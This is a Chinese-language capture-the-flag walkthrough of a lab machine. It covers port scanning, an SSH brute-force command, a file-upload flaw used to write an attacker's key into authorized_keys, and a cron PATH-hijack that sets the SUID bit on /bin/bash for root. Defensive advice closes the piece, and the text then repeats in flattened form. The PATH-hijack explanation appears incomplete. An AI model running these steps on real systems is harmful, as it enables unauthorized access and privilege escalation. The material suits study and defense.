从WEB到内网&&文件上传&&SSH公私钥免密登录&&Cron job提权--------打靶经验分享
字数 1291 2025-08-10 16:34:39

从WEB到内网渗透与提权:综合打靶技术详解

1. 信息收集阶段

1.1 端口扫描

使用Nmap进行端口扫描是渗透测试的第一步:

# 快速扫描所有端口
nmap --min-rate 10000 -p- 192.168.248.249

# 详细扫描特定端口服务
nmap -p 21,22,111,139,443,445,2049,10000,25022,33414,40080 -sV 192.168.248.249

关键发现

  • 21端口:FTP服务
  • 25022端口:SSH服务
  • 33414端口:未知服务(后续发现是Python Werkzeug应用)
  • 40080端口:HTTP服务

1.2 端口测试

FTP服务测试(21端口)

尝试匿名登录:

ftp 192.168.248.249

用户名:anonymous,密码为空或任意邮箱地址

结果:成功登录但未发现有用文件

SSH服务测试(25022端口)

尝试弱口令爆破:

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.248.249 ssh -s 25022

注意:爆破SSH需谨慎,可能触发安全警报

未知服务测试(33414端口)

详细探测:

nmap -sT -sV -O -sC -p 33414 192.168.248.249

发现Werkzeug/2.2.3(Python WSGI工具库)

目录扫描:

dirsearch -u http://192.168.248.249:33414/

发现/help/info端点

2. 攻击阶段

2.1 文件上传漏洞利用

发现/file-upload接口,尝试上传文件:

# 创建测试文件
touch shell.php

# 尝试上传PHP文件
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=shell.php http://192.168.248.249:33414/file-upload

发现:PHP文件被过滤,但允许其他格式文件上传

2.2 目录穿越尝试

尝试路径穿越上传:

curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=../shell.php http://192.168.248.249:33414/file-upload

结果:500错误,权限不足

2.3 寻找可写目录

通过文件列表接口查找可写目录:

curl http://192.168.248.249:33414/file-list?dir=/tmp

发现用户alfredo及其.ssh目录

2.4 SSH公钥注入

  1. 生成SSH密钥对:
ssh-keygen -t rsa
  1. 上传公钥到目标服务器:
curl -X POST -F file="@/home/czy1874396671/shell.php.txt.pub.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.248.249:33414/file-upload
  1. 使用私钥登录:
ssh -i shell.php.txt alfredo@192.168.248.249 -p 25022

成功获取初始shell

3. 内网渗透

3.1 查找用户flag

find / -name local.txt
cat /home/alfredo/local.txt

4. 权限提升

4.1 提权方法尝试

  1. sudo提权
sudo -l

需要密码,无法直接使用

  1. SUID提权
find / -perm -u=s -type f 2>/dev/null

无可用二进制

  1. Capabilities提权
/usr/sbin/getcap -r / 2>/dev/null

无结果

4.2 Cron Job提权

  1. 查看定时任务:
cat /etc/crontab

发现每分钟执行的任务:

* * * * * root /usr/local/bin/backup-flask.sh
  1. 分析备份脚本:
cat /usr/local/bin/backup-flask.sh

内容为打包/home/alfredo/restapi目录到/tmp/flask.tar.gz

  1. 利用PATH环境变量劫持:
# 创建恶意tar命令
echo "chmod +u+s /bin/bash" > tar

# 查看内容
cat tar

# 添加执行权限
chmod +x tar

# 将当前目录加入PATH
export PATH=.:$PATH
  1. 等待定时任务执行后,获取root shell:
bash -p

4.3 获取root flag

cat /root/proof.txt

5. 关键知识点总结

  1. 文件上传漏洞利用

    • 测试不同文件类型上传
    • 尝试路径穿越
    • 寻找可写目录(特别是用户目录)
  2. SSH公钥注入

    • 通过文件上传漏洞写入authorized_keys
    • 使用私钥实现免密登录
  3. Cron Job提权

    • 查找系统定时任务
    • 分析脚本内容
    • 利用PATH劫持执行恶意命令
    • 通过SUID位提升权限
  4. 其他提权方法

    • sudo -l检查可执行命令
    • 查找SUID二进制文件
    • 检查Capabilities设置

6. 防御建议

  1. 文件上传防护

    • 限制上传文件类型
    • 禁止路径穿越
    • 设置上传目录不可执行
    • 使用随机文件名
  2. SSH安全

    • 禁用root登录
    • 使用密钥认证时设置严格权限
    • 监控authorized_keys文件变更
  3. 定时任务安全

    • 使用绝对路径执行命令
    • 限制脚本修改权限
    • 监控crontab变更
  4. 权限管理

    • 遵循最小权限原则
    • 定期审计SUID/SGID文件
    • 监控敏感目录修改

通过这个案例,我们学习了一个完整的渗透测试流程:从信息收集、漏洞利用、内网渗透到最终权限提升。每个环节都需要仔细分析和尝试多种方法,才能成功完成渗透测试。

从WEB到内网渗透与提权:综合打靶技术详解 1. 信息收集阶段 1.1 端口扫描 使用Nmap进行端口扫描是渗透测试的第一步: 关键发现 : 21端口:FTP服务 25022端口:SSH服务 33414端口:未知服务(后续发现是Python Werkzeug应用) 40080端口:HTTP服务 1.2 端口测试 FTP服务测试(21端口) 尝试匿名登录: 用户名: anonymous ,密码为空或任意邮箱地址 结果 :成功登录但未发现有用文件 SSH服务测试(25022端口) 尝试弱口令爆破: 注意 :爆破SSH需谨慎,可能触发安全警报 未知服务测试(33414端口) 详细探测: 发现Werkzeug/2.2.3(Python WSGI工具库) 目录扫描: 发现 /help 和 /info 端点 2. 攻击阶段 2.1 文件上传漏洞利用 发现 /file-upload 接口,尝试上传文件: 发现 :PHP文件被过滤,但允许其他格式文件上传 2.2 目录穿越尝试 尝试路径穿越上传: 结果 :500错误,权限不足 2.3 寻找可写目录 通过文件列表接口查找可写目录: 发现用户 alfredo 及其 .ssh 目录 2.4 SSH公钥注入 生成SSH密钥对: 上传公钥到目标服务器: 使用私钥登录: 成功获取初始shell 3. 内网渗透 3.1 查找用户flag 4. 权限提升 4.1 提权方法尝试 sudo提权 : 需要密码,无法直接使用 SUID提权 : 无可用二进制 Capabilities提权 : 无结果 4.2 Cron Job提权 查看定时任务: 发现每分钟执行的任务: 分析备份脚本: 内容为打包 /home/alfredo/restapi 目录到 /tmp/flask.tar.gz 利用PATH环境变量劫持: 等待定时任务执行后,获取root shell: 4.3 获取root flag 5. 关键知识点总结 文件上传漏洞利用 : 测试不同文件类型上传 尝试路径穿越 寻找可写目录(特别是用户目录) SSH公钥注入 : 通过文件上传漏洞写入authorized_ keys 使用私钥实现免密登录 Cron Job提权 : 查找系统定时任务 分析脚本内容 利用PATH劫持执行恶意命令 通过SUID位提升权限 其他提权方法 : sudo -l检查可执行命令 查找SUID二进制文件 检查Capabilities设置 6. 防御建议 文件上传防护 : 限制上传文件类型 禁止路径穿越 设置上传目录不可执行 使用随机文件名 SSH安全 : 禁用root登录 使用密钥认证时设置严格权限 监控authorized_ keys文件变更 定时任务安全 : 使用绝对路径执行命令 限制脚本修改权限 监控crontab变更 权限管理 : 遵循最小权限原则 定期审计SUID/SGID文件 监控敏感目录修改 通过这个案例,我们学习了一个完整的渗透测试流程:从信息收集、漏洞利用、内网渗透到最终权限提升。每个环节都需要仔细分析和尝试多种方法,才能成功完成渗透测试。